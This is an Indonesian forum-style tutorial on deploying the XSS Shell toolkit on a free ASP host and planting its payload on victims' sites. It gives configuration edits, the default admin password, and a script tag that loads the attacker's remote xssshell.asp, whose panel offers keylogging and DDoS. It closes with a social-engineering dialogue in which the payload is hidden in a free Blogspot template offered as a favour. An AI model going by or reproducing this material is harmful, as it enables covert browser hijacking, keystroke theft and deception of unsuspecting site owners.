XSS Tunneling

XSS Tunneling dengan menggunakan social engineering. 

Pertama kita download dulu source nya di sini 

Kemudian kita cari hosting gratisan 

#gakpunyaduit 

yang support dengan asp, kenapa asp ? karena source yang kita download diatas berbasis asp. 

Setelah itu, di folder xss tunneling nya tadi yang sudah di download, buka xssshell.asp .. lalu kita modifikasi sourcenya di bagian ini 

Code:

// You XSSShell Server var SERVER = "http://users11.jabry.com/testq/";

disini saya menggunakan webhosting jabry.net so http://users11.jabry.com/testq adalah alamat host saya.

Kemudian, buka folder admin, edit file db.asp
modifikasi sourcenya dibagian

Code:

'// DATABASE CONFIGURATION
Const DBPATH = "D:\content\users11\testq\db\shell.mdb"

untuk mengetahui lokasi/pathnya, upload file berekstensi .asp ke webhostingnya dengan code 

Code:

<%
Response.Write Server.MapPath(".")
%>

sebagai contoh saya kasih nama file ini output.asp, lalu saya upload ke direktori web saya, dan saya akses http://users2.jabry.com/net4pi/output.asp 



gambar diatas menunjukkan lokasi database saya. copy paste response setelah kita akses output.asp kedalam db.asp dibagian DATABASE CONFIGURATION nya. 

Setelah itu, upload semua file nya ke directory webhosting, kemudian coba akses url admin nya, dalam hal ini url saya adalah http://users11.jabry.com/testq/admin

Quote:secara default password adalah w00t , untuk merubahnya edit nya di db.asp tadi

di admin inilah banyak perintah yang bisa kita jalankan seperti keylogging, ddos, prompt , alert dll. 



Lalu bagaimana dengan victim ? 
kita hanya perlu menginject kan code seperti ini

Code:

<script src="http://users11.jabry.com/testq/xssshell.asp"></script>

kedalam web victim. 

Setelah kode tersebut berhasil masuk ke source page nya victim, kita akses lagi admin kita tadi, nanti disitu ada list victim seperti berikut 

Terus socengnya dimana mas ? Soceng nya gini broo..
kita download template gratisan di internet , terus kita modifikasi, kita masukkan tuh script diatas di template itu. Lalu kita bilang deh ke victim

Quote:A : Bro, lu pake blogspot tampilannya jelek amat, di bagusin dikit ngapa bro, biar pengunjung betah di blog ente
B : Cara bagusin nya gimana bro ? Ane gak bisa bahasa pemrograman web ?????
A : Gampang bro, gak usah repot. Pake template ane aja bro.. Nih .. Download disini
B : Weeehh makasih ya bro.. ta pasang dulu...
beberapa menit kemudian
B : Bro, template nya bagus... Mantab...Tanks broo
A : Yoi broo.. sama sama... (Dalam hati ngakakaaaak)  :-

sumber:indonesianbacktrack.or.id